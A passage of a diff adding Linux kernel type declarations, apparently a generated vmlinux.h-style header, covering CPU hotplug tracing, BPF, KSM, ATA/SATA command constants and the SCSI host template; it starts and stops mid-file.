+struct mpls_iptunnel_encap { + u8 labels; + u8 ttl_propagate; + u8 default_ttl; + u8 reserved1; + u32 label[0]; +}; + +enum { + MPLS_IPTUNNEL_UNSPEC = 0, + MPLS_IPTUNNEL_DST = 1, + MPLS_IPTUNNEL_TTL = 2, + __MPLS_IPTUNNEL_MAX = 3, +}; + +enum { + PERF_BR_UNKNOWN = 0, + PERF_BR_COND = 1, + PERF_BR_UNCOND = 2, + PERF_BR_IND = 3, + PERF_BR_CALL = 4, + PERF_BR_IND_CALL = 5, + PERF_BR_RET = 6, + PERF_BR_SYSCALL = 7, + PERF_BR_SYSRET = 8, + PERF_BR_COND_CALL = 9, + PERF_BR_COND_RET = 10, + PERF_BR_ERET = 11, + PERF_BR_IRQ = 12, + PERF_BR_SERROR = 13, + PERF_BR_NO_TX = 14, + PERF_BR_EXTEND_ABI = 15, + PERF_BR_MAX = 16, +}; + +enum bug_trap_type { + BUG_TRAP_TYPE_NONE = 0, + BUG_TRAP_TYPE_WARN = 1, + BUG_TRAP_TYPE_BUG = 2, +}; + +struct kernel_vm86_regs { + struct pt_regs pt; + short unsigned int es; + short unsigned int __esh; + short unsigned int ds; + short unsigned int __dsh; + short unsigned int fs; + short unsigned int __fsh; + short unsigned int gs; + short unsigned int __gsh; +}; + +enum cp_error_code { + CP_EC = 32767, + CP_RET = 1, + CP_IRET = 2, + CP_ENDBR = 3, + CP_RSTRORSSP = 4, + CP_SETSSBSY = 5, + CP_ENCL = 32768, +}; + +enum kernel_gp_hint { + GP_NO_HINT = 0, + GP_NON_CANONICAL = 1, + GP_CANONICAL = 2, +}; + +struct x86_cpu { + struct cpu cpu; +}; + +enum insn_type { + CALL = 0, + NOP = 1, + JMP = 2, + RET = 3, + JCC = 4, +}; + +struct ppin_info { + int feature; + int msr_ppin_ctl; + int msr_ppin; +}; + +struct cpuid_dependent_feature { + u32 feature; + u32 level; +}; + +struct trace_event_raw_cpuhp_enter { + struct trace_entry ent; + unsigned int cpu; + int target; + int idx; + void *fun; + char __data[0]; +}; + +struct trace_event_raw_cpuhp_multi_enter { + struct trace_entry ent; + unsigned int cpu; + int target; + int idx; + void *fun; + char __data[0]; +}; + +struct trace_event_raw_cpuhp_exit { + struct trace_entry ent; + unsigned int cpu; + int state; + int idx; + int ret; + char __data[0]; +}; + +struct trace_event_data_offsets_cpuhp_enter {}; + +struct trace_event_data_offsets_cpuhp_multi_enter {}; + +struct trace_event_data_offsets_cpuhp_exit {}; + +typedef void (*btf_trace_cpuhp_enter)(void *, unsigned int, int, int, int (*)(unsigned int)); + +typedef void (*btf_trace_cpuhp_multi_enter)(void *, unsigned int, int, int, int (*)(unsigned int, struct hlist_node *), struct hlist_node *); + +typedef void (*btf_trace_cpuhp_exit)(void *, unsigned int, int, int, int); + +struct cpuhp_cpu_state { + enum cpuhp_state state; + enum cpuhp_state target; + enum cpuhp_state fail; + struct task_struct *thread; + bool should_run; + bool rollback; + bool single; + bool bringup; + struct hlist_node *node; + struct hlist_node *last; + enum cpuhp_state cb_state; + int result; + struct completion done_up; + struct completion done_down; +}; + +struct cpuhp_step { + const char *name; + union { + int (*single)(unsigned int); + int (*multi)(unsigned int, struct hlist_node *); + } startup; + union { + int (*single)(unsigned int); + int (*multi)(unsigned int, struct hlist_node *); + } teardown; + struct hlist_head list; + bool cant_stop; + bool multi_instance; +}; + +enum cpu_mitigations { + CPU_MITIGATIONS_OFF = 0, + CPU_MITIGATIONS_AUTO = 1, + CPU_MITIGATIONS_AUTO_NOSMT = 2, +}; + +struct kallsym_iter { + loff_t pos; + loff_t pos_arch_end; + loff_t pos_mod_end; + loff_t pos_ftrace_mod_end; + loff_t pos_bpf_end; + long unsigned int value; + unsigned int nameoff; + char type; + char name[512]; + char module_name[56]; + int exported; + int show_value; +}; + +struct bpf_iter__ksym { + union { + struct bpf_iter_meta *meta; + }; + union { + struct kallsym_iter *ksym; + }; +}; + +struct eprobe_trace_entry_head { + struct trace_entry ent; +}; + +struct ftrace_event_field { + struct list_head link; + const char *name; + const char *type; + int filter_type; + int offset; + int size; + int is_signed; + int len; +}; + +struct trace_eprobe { + const char *event_system; + const char *event_name; + char *filter_str; + struct trace_event_call *event; + struct dyn_event devent; + struct trace_probe tp; +}; + +struct eprobe_data { + struct trace_event_file *file; + struct trace_eprobe *ep; +}; + +enum bpf_stats_type { + BPF_STATS_RUN_TIME = 0, +}; + +struct bpf_btf_info { + __u64 btf; + __u32 btf_size; + __u32 id; + __u64 name; + __u32 name_len; + __u32 kernel_btf; +}; + +struct bpf_tracing_link { + struct bpf_tramp_link link; + enum bpf_attach_type attach_type; + struct bpf_trampoline *trampoline; + struct bpf_prog *tgt_prog; +}; + +enum bpf_audit { + BPF_AUDIT_LOAD = 0, + BPF_AUDIT_UNLOAD = 1, + BPF_AUDIT_MAX = 2, +}; + +struct bpf_prog_kstats { + u64 nsecs; + u64 cnt; + u64 misses; +}; + +struct bpf_raw_tp_link { + struct bpf_link link; + struct bpf_raw_event_map *btp; +}; + +struct bpf_perf_link { + struct bpf_link link; + struct file *perf_file; +}; + +typedef u64 (*btf_bpf_sys_bpf)(int, union bpf_attr *, u32); + +typedef u64 (*btf_bpf_sys_close)(u32); + +typedef u64 (*btf_bpf_kallsyms_lookup_name)(const char *, int, int, u64 *); + +struct rmap_walk_control { + void *arg; + bool try_lock; + bool contended; + bool (*rmap_one)(struct folio *, struct vm_area_struct *, long unsigned int, void *); + int (*done)(struct folio *); + struct anon_vma * (*anon_lock)(struct folio *, struct rmap_walk_control *); + bool (*invalid_vma)(struct vm_area_struct *, void *); +}; + +struct trace_event_raw_ksm_scan_template { + struct trace_entry ent; + int seq; + u32 rmap_entries; + char __data[0]; +}; + +struct trace_event_raw_ksm_enter_exit_template { + struct trace_entry ent; + void *mm; + char __data[0]; +}; + +struct trace_event_raw_ksm_merge_one_page { + struct trace_entry ent; + long unsigned int pfn; + void *rmap_item; + void *mm; + int err; + char __data[0]; +}; + +struct trace_event_raw_ksm_merge_with_ksm_page { + struct trace_entry ent; + void *ksm_page; + long unsigned int pfn; + void *rmap_item; + void *mm; + int err; + char __data[0]; +}; + +struct trace_event_raw_ksm_remove_ksm_page { + struct trace_entry ent; + long unsigned int pfn; + char __data[0]; +}; + +struct trace_event_raw_ksm_remove_rmap_item { + struct trace_entry ent; + long unsigned int pfn; + void *rmap_item; + void *mm; + char __data[0]; +}; + +struct trace_event_data_offsets_ksm_scan_template {}; + +struct trace_event_data_offsets_ksm_enter_exit_template {}; + +struct trace_event_data_offsets_ksm_merge_one_page {}; + +struct trace_event_data_offsets_ksm_merge_with_ksm_page {}; + +struct trace_event_data_offsets_ksm_remove_ksm_page {}; + +struct trace_event_data_offsets_ksm_remove_rmap_item {}; + +typedef void (*btf_trace_ksm_start_scan)(void *, int, u32); + +typedef void (*btf_trace_ksm_stop_scan)(void *, int, u32); + +typedef void (*btf_trace_ksm_enter)(void *, void *); + +typedef void (*btf_trace_ksm_exit)(void *, void *); + +typedef void (*btf_trace_ksm_merge_one_page)(void *, long unsigned int, void *, void *, int); + +typedef void (*btf_trace_ksm_merge_with_ksm_page)(void *, void *, long unsigned int, void *, void *, int); + +typedef void (*btf_trace_ksm_remove_ksm_page)(void *, long unsigned int); + +typedef void (*btf_trace_ksm_remove_rmap_item)(void *, long unsigned int, void *, void *); + +struct ksm_rmap_item; + +struct ksm_mm_slot { + struct mm_slot slot; + struct ksm_rmap_item *rmap_list; +}; + +struct ksm_stable_node; + +struct ksm_rmap_item { + struct ksm_rmap_item *rmap_list; + union { + struct anon_vma *anon_vma; + int nid; + }; + struct mm_struct *mm; + long unsigned int address; + unsigned int oldchecksum; + union { + struct rb_node node; + struct { + struct ksm_stable_node *head; + struct hlist_node hlist; + }; + }; +}; + +struct ksm_scan { + struct ksm_mm_slot *mm_slot; + long unsigned int address; + struct ksm_rmap_item **rmap_list; + long unsigned int seqnr; +}; + +struct ksm_stable_node { + union { + struct rb_node node; + struct { + struct list_head *head; + struct { + struct hlist_node hlist_dup; + struct list_head list; + }; + }; + }; + struct hlist_head hlist; + union { + long unsigned int kpfn; + long unsigned int chain_prune_time; + }; + int rmap_hlist_len; + int nid; +}; + +enum get_ksm_page_flags { + GET_KSM_PAGE_NOLOCK = 0, + GET_KSM_PAGE_LOCK = 1, + GET_KSM_PAGE_TRYLOCK = 2, +}; + +struct pde_opener { + struct list_head lh; + struct file *file; + bool closing; + struct completion *c; +}; + +enum { + BIAS = 2147483648, +}; + +struct ext4_system_zone { + struct rb_node node; + ext4_fsblk_t start_blk; + unsigned int count; + u32 ino; +}; + +typedef u16 wchar_t; + +struct nls_table { + const char *charset; + const char *alias; + int (*uni2char)(wchar_t, unsigned char *, int); + int (*char2uni)(const unsigned char *, int, wchar_t *); + const unsigned char *charset2lower; + const unsigned char *charset2upper; + struct module *owner; + struct nls_table *next; +}; + +struct tracefs_dir_ops { + int (*mkdir)(const char *); + int (*rmdir)(const char *); +}; + +struct tracefs_mount_opts { + kuid_t uid; + kgid_t gid; + umode_t mode; + unsigned int opts; +}; + +struct tracefs_fs_info { + struct tracefs_mount_opts mount_opts; +}; + +struct keyctl_pkey_query { + __u32 supported_ops; + __u32 key_size; + __u16 max_data_size; + __u16 max_sig_size; + __u16 max_enc_size; + __u16 max_dec_size; + __u32 __spare[10]; +}; + +struct keyctl_pkey_params { + __s32 key_id; + __u32 in_len; + union { + __u32 out_len; + __u32 in2_len; + }; + __u32 __spare[7]; +}; + +enum { + Opt_err___6 = 0, + Opt_enc = 1, + Opt_hash___2 = 2, +}; + +struct ima_kexec_hdr { + u16 version; + u16 _reserved0; + u32 _reserved1; + u64 buffer_size; + u64 count; +}; + +enum header_fields { + HDR_PCR = 0, + HDR_DIGEST = 1, + HDR_TEMPLATE_NAME = 2, + HDR_TEMPLATE_DATA = 3, + HDR__LAST = 4, +}; + +struct shash_instance { + void (*free)(struct shash_instance *); + union { + struct { + char head[104]; + struct crypto_instance base; + } s; + struct shash_alg alg; + }; +}; + +struct crypto_shash_spawn { + struct crypto_spawn base; +}; + +struct hmac_ctx { + struct crypto_shash *hash; +}; + +struct blkg_rwstat { + struct percpu_counter cpu_cnt[5]; + atomic64_t aux_cnt[5]; +}; + +struct blkg_rwstat_sample { + u64 cnt[5]; +}; + +struct strarray { + char **array; + size_t n; +}; + +struct acpi_init_walk_info { + u32 table_index; + u32 object_count; + u32 method_count; + u32 serial_method_count; + u32 non_serial_method_count; + u32 serialized_method_count; + u32 device_count; + u32 op_region_count; + u32 field_count; + u32 buffer_count; + u32 package_count; + u32 op_region_init; + u32 field_init; + u32 buffer_init; + u32 package_init; + acpi_owner_id owner_id; +}; + +enum { + AML_FIELD_UPDATE_PRESERVE = 0, + AML_FIELD_UPDATE_WRITE_AS_ONES = 32, + AML_FIELD_UPDATE_WRITE_AS_ZEROS = 64, +}; + +enum { + ATA_MAX_DEVICES = 2, + ATA_MAX_PRD = 256, + ATA_SECT_SIZE = 512, + ATA_MAX_SECTORS_128 = 128, + ATA_MAX_SECTORS = 256, + ATA_MAX_SECTORS_1024 = 1024, + ATA_MAX_SECTORS_LBA48 = 65535, + ATA_MAX_SECTORS_TAPE = 65535, + ATA_MAX_TRIM_RNUM = 64, + ATA_ID_WORDS = 256, + ATA_ID_CONFIG = 0, + ATA_ID_CYLS = 1, + ATA_ID_HEADS = 3, + ATA_ID_SECTORS = 6, + ATA_ID_SERNO = 10, + ATA_ID_BUF_SIZE = 21, + ATA_ID_FW_REV = 23, + ATA_ID_PROD = 27, + ATA_ID_MAX_MULTSECT = 47, + ATA_ID_DWORD_IO = 48, + ATA_ID_TRUSTED = 48, + ATA_ID_CAPABILITY = 49, + ATA_ID_OLD_PIO_MODES = 51, + ATA_ID_OLD_DMA_MODES = 52, + ATA_ID_FIELD_VALID = 53, + ATA_ID_CUR_CYLS = 54, + ATA_ID_CUR_HEADS = 55, + ATA_ID_CUR_SECTORS = 56, + ATA_ID_MULTSECT = 59, + ATA_ID_LBA_CAPACITY = 60, + ATA_ID_SWDMA_MODES = 62, + ATA_ID_MWDMA_MODES = 63, + ATA_ID_PIO_MODES = 64, + ATA_ID_EIDE_DMA_MIN = 65, + ATA_ID_EIDE_DMA_TIME = 66, + ATA_ID_EIDE_PIO = 67, + ATA_ID_EIDE_PIO_IORDY = 68, + ATA_ID_ADDITIONAL_SUPP = 69, + ATA_ID_QUEUE_DEPTH = 75, + ATA_ID_SATA_CAPABILITY = 76, + ATA_ID_SATA_CAPABILITY_2 = 77, + ATA_ID_FEATURE_SUPP = 78, + ATA_ID_MAJOR_VER = 80, + ATA_ID_COMMAND_SET_1 = 82, + ATA_ID_COMMAND_SET_2 = 83, + ATA_ID_CFSSE = 84, + ATA_ID_CFS_ENABLE_1 = 85, + ATA_ID_CFS_ENABLE_2 = 86, + ATA_ID_CSF_DEFAULT = 87, + ATA_ID_UDMA_MODES = 88, + ATA_ID_HW_CONFIG = 93, + ATA_ID_SPG = 98, + ATA_ID_LBA_CAPACITY_2 = 100, + ATA_ID_SECTOR_SIZE = 106, + ATA_ID_WWN = 108, + ATA_ID_LOGICAL_SECTOR_SIZE = 117, + ATA_ID_COMMAND_SET_3 = 119, + ATA_ID_COMMAND_SET_4 = 120, + ATA_ID_LAST_LUN = 126, + ATA_ID_DLF = 128, + ATA_ID_CSFO = 129, + ATA_ID_CFA_POWER = 160, + ATA_ID_CFA_KEY_MGMT = 162, + ATA_ID_CFA_MODES = 163, + ATA_ID_DATA_SET_MGMT = 169, + ATA_ID_SCT_CMD_XPORT = 206, + ATA_ID_ROT_SPEED = 217, + ATA_ID_PIO4 = 2, + ATA_ID_SERNO_LEN = 20, + ATA_ID_FW_REV_LEN = 8, + ATA_ID_PROD_LEN = 40, + ATA_ID_WWN_LEN = 8, + ATA_PCI_CTL_OFS = 2, + ATA_PIO0 = 1, + ATA_PIO1 = 3, + ATA_PIO2 = 7, + ATA_PIO3 = 15, + ATA_PIO4 = 31, + ATA_PIO5 = 63, + ATA_PIO6 = 127, + ATA_PIO4_ONLY = 16, + ATA_SWDMA0 = 1, + ATA_SWDMA1 = 3, + ATA_SWDMA2 = 7, + ATA_SWDMA2_ONLY = 4, + ATA_MWDMA0 = 1, + ATA_MWDMA1 = 3, + ATA_MWDMA2 = 7, + ATA_MWDMA3 = 15, + ATA_MWDMA4 = 31, + ATA_MWDMA12_ONLY = 6, + ATA_MWDMA2_ONLY = 4, + ATA_UDMA0 = 1, + ATA_UDMA1 = 3, + ATA_UDMA2 = 7, + ATA_UDMA3 = 15, + ATA_UDMA4 = 31, + ATA_UDMA5 = 63, + ATA_UDMA6 = 127, + ATA_UDMA7 = 255, + ATA_UDMA24_ONLY = 20, + ATA_UDMA_MASK_40C = 7, + ATA_PRD_SZ = 8, + ATA_PRD_TBL_SZ = 2048, + ATA_PRD_EOT = -2147483648, + ATA_DMA_TABLE_OFS = 4, + ATA_DMA_STATUS = 2, + ATA_DMA_CMD = 0, + ATA_DMA_WR = 8, + ATA_DMA_START = 1, + ATA_DMA_INTR = 4, + ATA_DMA_ERR = 2, + ATA_DMA_ACTIVE = 1, + ATA_HOB = 128, + ATA_NIEN = 2, + ATA_LBA = 64, + ATA_DEV1 = 16, + ATA_DEVICE_OBS = 160, + ATA_DEVCTL_OBS = 8, + ATA_BUSY = 128, + ATA_DRDY = 64, + ATA_DF = 32, + ATA_DSC = 16, + ATA_DRQ = 8, + ATA_CORR = 4, + ATA_SENSE = 2, + ATA_ERR = 1, + ATA_SRST = 4, + ATA_ICRC = 128, + ATA_BBK = 128, + ATA_UNC = 64, + ATA_MC = 32, + ATA_IDNF = 16, + ATA_MCR = 8, + ATA_ABORTED = 4, + ATA_TRK0NF = 2, + ATA_AMNF = 1, + ATAPI_LFS = 240, + ATAPI_EOM = 2, + ATAPI_ILI = 1, + ATAPI_IO = 2, + ATAPI_COD = 1, + ATA_REG_DATA = 0, + ATA_REG_ERR = 1, + ATA_REG_NSECT = 2, + ATA_REG_LBAL = 3, + ATA_REG_LBAM = 4, + ATA_REG_LBAH = 5, + ATA_REG_DEVICE = 6, + ATA_REG_STATUS = 7, + ATA_REG_FEATURE = 1, + ATA_REG_CMD = 7, + ATA_REG_BYTEL = 4, + ATA_REG_BYTEH = 5, + ATA_REG_DEVSEL = 6, + ATA_REG_IRQ = 2, + ATA_CMD_DEV_RESET = 8, + ATA_CMD_CHK_POWER = 229, + ATA_CMD_STANDBY = 226, + ATA_CMD_IDLE = 227, + ATA_CMD_EDD = 144, + ATA_CMD_DOWNLOAD_MICRO = 146, + ATA_CMD_DOWNLOAD_MICRO_DMA = 147, + ATA_CMD_NOP = 0, + ATA_CMD_FLUSH = 231, + ATA_CMD_FLUSH_EXT = 234, + ATA_CMD_ID_ATA = 236, + ATA_CMD_ID_ATAPI = 161, + ATA_CMD_SERVICE = 162, + ATA_CMD_READ = 200, + ATA_CMD_READ_EXT = 37, + ATA_CMD_READ_QUEUED = 38, + ATA_CMD_READ_STREAM_EXT = 43, + ATA_CMD_READ_STREAM_DMA_EXT = 42, + ATA_CMD_WRITE = 202, + ATA_CMD_WRITE_EXT = 53, + ATA_CMD_WRITE_QUEUED = 54, + ATA_CMD_WRITE_STREAM_EXT = 59, + ATA_CMD_WRITE_STREAM_DMA_EXT = 58, + ATA_CMD_WRITE_FUA_EXT = 61, + ATA_CMD_WRITE_QUEUED_FUA_EXT = 62, + ATA_CMD_FPDMA_READ = 96, + ATA_CMD_FPDMA_WRITE = 97, + ATA_CMD_NCQ_NON_DATA = 99, + ATA_CMD_FPDMA_SEND = 100, + ATA_CMD_FPDMA_RECV = 101, + ATA_CMD_PIO_READ = 32, + ATA_CMD_PIO_READ_EXT = 36, + ATA_CMD_PIO_WRITE = 48, + ATA_CMD_PIO_WRITE_EXT = 52, + ATA_CMD_READ_MULTI = 196, + ATA_CMD_READ_MULTI_EXT = 41, + ATA_CMD_WRITE_MULTI = 197, + ATA_CMD_WRITE_MULTI_EXT = 57, + ATA_CMD_WRITE_MULTI_FUA_EXT = 206, + ATA_CMD_SET_FEATURES = 239, + ATA_CMD_SET_MULTI = 198, + ATA_CMD_PACKET = 160, + ATA_CMD_VERIFY = 64, + ATA_CMD_VERIFY_EXT = 66, + ATA_CMD_WRITE_UNCORR_EXT = 69, + ATA_CMD_STANDBYNOW1 = 224, + ATA_CMD_IDLEIMMEDIATE = 225, + ATA_CMD_SLEEP = 230, + ATA_CMD_INIT_DEV_PARAMS = 145, + ATA_CMD_READ_NATIVE_MAX = 248, + ATA_CMD_READ_NATIVE_MAX_EXT = 39, + ATA_CMD_SET_MAX = 249, + ATA_CMD_SET_MAX_EXT = 55, + ATA_CMD_READ_LOG_EXT = 47, + ATA_CMD_WRITE_LOG_EXT = 63, + ATA_CMD_READ_LOG_DMA_EXT = 71, + ATA_CMD_WRITE_LOG_DMA_EXT = 87, + ATA_CMD_TRUSTED_NONDATA = 91, + ATA_CMD_TRUSTED_RCV = 92, + ATA_CMD_TRUSTED_RCV_DMA = 93, + ATA_CMD_TRUSTED_SND = 94, + ATA_CMD_TRUSTED_SND_DMA = 95, + ATA_CMD_PMP_READ = 228, + ATA_CMD_PMP_READ_DMA = 233, + ATA_CMD_PMP_WRITE = 232, + ATA_CMD_PMP_WRITE_DMA = 235, + ATA_CMD_CONF_OVERLAY = 177, + ATA_CMD_SEC_SET_PASS = 241, + ATA_CMD_SEC_UNLOCK = 242, + ATA_CMD_SEC_ERASE_PREP = 243, + ATA_CMD_SEC_ERASE_UNIT = 244, + ATA_CMD_SEC_FREEZE_LOCK = 245, + ATA_CMD_SEC_DISABLE_PASS = 246, + ATA_CMD_CONFIG_STREAM = 81, + ATA_CMD_SMART = 176, + ATA_CMD_MEDIA_LOCK = 222, + ATA_CMD_MEDIA_UNLOCK = 223, + ATA_CMD_DSM = 6, + ATA_CMD_CHK_MED_CRD_TYP = 209, + ATA_CMD_CFA_REQ_EXT_ERR = 3, + ATA_CMD_CFA_WRITE_NE = 56, + ATA_CMD_CFA_TRANS_SECT = 135, + ATA_CMD_CFA_ERASE = 192, + ATA_CMD_CFA_WRITE_MULT_NE = 205, + ATA_CMD_REQ_SENSE_DATA = 11, + ATA_CMD_SANITIZE_DEVICE = 180, + ATA_CMD_ZAC_MGMT_IN = 74, + ATA_CMD_ZAC_MGMT_OUT = 159, + ATA_CMD_RESTORE = 16, + ATA_SUBCMD_FPDMA_RECV_RD_LOG_DMA_EXT = 1, + ATA_SUBCMD_FPDMA_RECV_ZAC_MGMT_IN = 2, + ATA_SUBCMD_FPDMA_SEND_DSM = 0, + ATA_SUBCMD_FPDMA_SEND_WR_LOG_DMA_EXT = 2, + ATA_SUBCMD_NCQ_NON_DATA_ABORT_QUEUE = 0, + ATA_SUBCMD_NCQ_NON_DATA_SET_FEATURES = 5, + ATA_SUBCMD_NCQ_NON_DATA_ZERO_EXT = 6, + ATA_SUBCMD_NCQ_NON_DATA_ZAC_MGMT_OUT = 7, + ATA_SUBCMD_ZAC_MGMT_IN_REPORT_ZONES = 0, + ATA_SUBCMD_ZAC_MGMT_OUT_CLOSE_ZONE = 1, + ATA_SUBCMD_ZAC_MGMT_OUT_FINISH_ZONE = 2, + ATA_SUBCMD_ZAC_MGMT_OUT_OPEN_ZONE = 3, + ATA_SUBCMD_ZAC_MGMT_OUT_RESET_WRITE_POINTER = 4, + ATA_LOG_DIRECTORY = 0, + ATA_LOG_SATA_NCQ = 16, + ATA_LOG_NCQ_NON_DATA = 18, + ATA_LOG_NCQ_SEND_RECV = 19, + ATA_LOG_IDENTIFY_DEVICE = 48, + ATA_LOG_CONCURRENT_POSITIONING_RANGES = 71, + ATA_LOG_SECURITY = 6, + ATA_LOG_SATA_SETTINGS = 8, + ATA_LOG_ZONED_INFORMATION = 9, + ATA_LOG_DEVSLP_OFFSET = 48, + ATA_LOG_DEVSLP_SIZE = 8, + ATA_LOG_DEVSLP_MDAT = 0, + ATA_LOG_DEVSLP_MDAT_MASK = 31, + ATA_LOG_DEVSLP_DETO = 1, + ATA_LOG_DEVSLP_VALID = 7, + ATA_LOG_DEVSLP_VALID_MASK = 128, + ATA_LOG_NCQ_PRIO_OFFSET = 9, + ATA_LOG_NCQ_SEND_RECV_SUBCMDS_OFFSET = 0, + ATA_LOG_NCQ_SEND_RECV_SUBCMDS_DSM = 1, + ATA_LOG_NCQ_SEND_RECV_DSM_OFFSET = 4, + ATA_LOG_NCQ_SEND_RECV_DSM_TRIM = 1, + ATA_LOG_NCQ_SEND_RECV_RD_LOG_OFFSET = 8, + ATA_LOG_NCQ_SEND_RECV_RD_LOG_SUPPORTED = 1, + ATA_LOG_NCQ_SEND_RECV_WR_LOG_OFFSET = 12, + ATA_LOG_NCQ_SEND_RECV_WR_LOG_SUPPORTED = 1, + ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_OFFSET = 16, + ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_OUT_SUPPORTED = 1, + ATA_LOG_NCQ_SEND_RECV_ZAC_MGMT_IN_SUPPORTED = 2, + ATA_LOG_NCQ_SEND_RECV_SIZE = 20, + ATA_LOG_NCQ_NON_DATA_SUBCMDS_OFFSET = 0, + ATA_LOG_NCQ_NON_DATA_ABORT_OFFSET = 0, + ATA_LOG_NCQ_NON_DATA_ABORT_NCQ = 1, + ATA_LOG_NCQ_NON_DATA_ABORT_ALL = 2, + ATA_LOG_NCQ_NON_DATA_ABORT_STREAMING = 4, + ATA_LOG_NCQ_NON_DATA_ABORT_NON_STREAMING = 8, + ATA_LOG_NCQ_NON_DATA_ABORT_SELECTED = 16, + ATA_LOG_NCQ_NON_DATA_ZAC_MGMT_OFFSET = 28, + ATA_LOG_NCQ_NON_DATA_ZAC_MGMT_OUT = 1, + ATA_LOG_NCQ_NON_DATA_SIZE = 64, + ATA_CMD_READ_LONG = 34, + ATA_CMD_READ_LONG_ONCE = 35, + ATA_CMD_WRITE_LONG = 50, + ATA_CMD_WRITE_LONG_ONCE = 51, + SETFEATURES_XFER = 3, + XFER_UDMA_7 = 71, + XFER_UDMA_6 = 70, + XFER_UDMA_5 = 69, + XFER_UDMA_4 = 68, + XFER_UDMA_3 = 67, + XFER_UDMA_2 = 66, + XFER_UDMA_1 = 65, + XFER_UDMA_0 = 64, + XFER_MW_DMA_4 = 36, + XFER_MW_DMA_3 = 35, + XFER_MW_DMA_2 = 34, + XFER_MW_DMA_1 = 33, + XFER_MW_DMA_0 = 32, + XFER_SW_DMA_2 = 18, + XFER_SW_DMA_1 = 17, + XFER_SW_DMA_0 = 16, + XFER_PIO_6 = 14, + XFER_PIO_5 = 13, + XFER_PIO_4 = 12, + XFER_PIO_3 = 11, + XFER_PIO_2 = 10, + XFER_PIO_1 = 9, + XFER_PIO_0 = 8, + XFER_PIO_SLOW = 0, + SETFEATURES_WC_ON = 2, + SETFEATURES_WC_OFF = 130, + SETFEATURES_RA_ON = 170, + SETFEATURES_RA_OFF = 85, + SETFEATURES_AAM_ON = 66, + SETFEATURES_AAM_OFF = 194, + SETFEATURES_SPINUP = 7, + SETFEATURES_SPINUP_TIMEOUT = 30000, + SETFEATURES_SATA_ENABLE = 16, + SETFEATURES_SATA_DISABLE = 144, + SATA_FPDMA_OFFSET = 1, + SATA_FPDMA_AA = 2, + SATA_DIPM = 3, + SATA_FPDMA_IN_ORDER = 4, + SATA_AN = 5, + SATA_SSP = 6, + SATA_DEVSLP = 9, + SETFEATURE_SENSE_DATA = 195, + ATA_SET_MAX_ADDR = 0, + ATA_SET_MAX_PASSWD = 1, + ATA_SET_MAX_LOCK = 2, + ATA_SET_MAX_UNLOCK = 3, + ATA_SET_MAX_FREEZE_LOCK = 4, + ATA_SET_MAX_PASSWD_DMA = 5, + ATA_SET_MAX_UNLOCK_DMA = 6, + ATA_DCO_RESTORE = 192, + ATA_DCO_FREEZE_LOCK = 193, + ATA_DCO_IDENTIFY = 194, + ATA_DCO_SET = 195, + ATA_SMART_ENABLE = 216, + ATA_SMART_READ_VALUES = 208, + ATA_SMART_READ_THRESHOLDS = 209, + ATA_DSM_TRIM = 1, + ATA_SMART_LBAM_PASS = 79, + ATA_SMART_LBAH_PASS = 194, + ATAPI_PKT_DMA = 1, + ATAPI_DMADIR = 4, + ATAPI_CDB_LEN = 16, + SATA_PMP_MAX_PORTS = 15, + SATA_PMP_CTRL_PORT = 15, + SATA_PMP_GSCR_DWORDS = 128, + SATA_PMP_GSCR_PROD_ID = 0, + SATA_PMP_GSCR_REV = 1, + SATA_PMP_GSCR_PORT_INFO = 2, + SATA_PMP_GSCR_ERROR = 32, + SATA_PMP_GSCR_ERROR_EN = 33, + SATA_PMP_GSCR_FEAT = 64, + SATA_PMP_GSCR_FEAT_EN = 96, + SATA_PMP_PSCR_STATUS = 0, + SATA_PMP_PSCR_ERROR = 1, + SATA_PMP_PSCR_CONTROL = 2, + SATA_PMP_FEAT_BIST = 1, + SATA_PMP_FEAT_PMREQ = 2, + SATA_PMP_FEAT_DYNSSC = 4, + SATA_PMP_FEAT_NOTIFY = 8, + ATA_CBL_NONE = 0, + ATA_CBL_PATA40 = 1, + ATA_CBL_PATA80 = 2, + ATA_CBL_PATA40_SHORT = 3, + ATA_CBL_PATA_UNK = 4, + ATA_CBL_PATA_IGN = 5, + ATA_CBL_SATA = 6, + SCR_STATUS = 0, + SCR_ERROR = 1, + SCR_CONTROL = 2, + SCR_ACTIVE = 3, + SCR_NOTIFICATION = 4, + SERR_DATA_RECOVERED = 1, + SERR_COMM_RECOVERED = 2, + SERR_DATA = 256, + SERR_PERSISTENT = 512, + SERR_PROTOCOL = 1024, + SERR_INTERNAL = 2048, + SERR_PHYRDY_CHG = 65536, + SERR_PHY_INT_ERR = 131072, + SERR_COMM_WAKE = 262144, + SERR_10B_8B_ERR = 524288, + SERR_DISPARITY = 1048576, + SERR_CRC = 2097152, + SERR_HANDSHAKE = 4194304, + SERR_LINK_SEQ_ERR = 8388608, + SERR_TRANS_ST_ERROR = 16777216, + SERR_UNRECOG_FIS = 33554432, + SERR_DEV_XCHG = 67108864, +}; + +enum scsi_timeout_action { + SCSI_EH_DONE = 0, + SCSI_EH_RESET_TIMER = 1, + SCSI_EH_NOT_HANDLED = 2, +}; + +struct scsi_cmnd; + +struct scsi_device; + +struct scsi_target; + +struct Scsi_Host; + +struct scsi_host_template { + unsigned int cmd_size; + int (*queuecommand)(struct Scsi_Host *, struct scsi_cmnd *); + void (*commit_rqs)(struct Scsi_Host *, u16); + struct module *module; + const char *name; + const char * (*info)(struct Scsi_Host *); + int (*ioctl)(struct scsi_device *, unsigned int, void *); + int (*init_cmd_priv)(struct Scsi_Host *, struct scsi_cmnd *); + int (*exit_cmd_priv)(struct Scsi_Host *, struct scsi_cmnd *); + int (*eh_abort_handler)(struct scsi_cmnd *); + int (*eh_device_reset_handler)(struct scsi_cmnd *); + int (*eh_target_reset_handler)(struct scsi_cmnd *); + int (*eh_bus_reset_handler)(struct scsi_cmnd *); + int (*eh_host_reset_handler)(struct scsi_cmnd *); + int (*slave_alloc)(struct scsi_device *); + int (*slave_configure)(struct scsi_device *); + void (*slave_destroy)(struct scsi_device *); + int (*target_alloc)(struct scsi_target *); + void (*target_destroy)(struct scsi_target *); + int (*scan_finished)(struct Scsi_Host *, long unsigned int); + void (*scan_start)(struct Scsi_Host *); + int (*change_queue_depth)(struct scsi_device *, int); + void (*map_queues)(struct Scsi_Host *); + int (*mq_poll)(struct Scsi_Host *, unsigned int); + bool (*dma_need_drain)(struct request *); + int (*bios_param)(struct scsi_device *, struct block_device *, sector_t, int *); + void (*unlock_native_capacity)(struct scsi_device *); + int (*show_info)(struct seq_file *, struct Scsi_Host *); + int (*write_info)(struct Scsi_Host *, char *, int); + enum 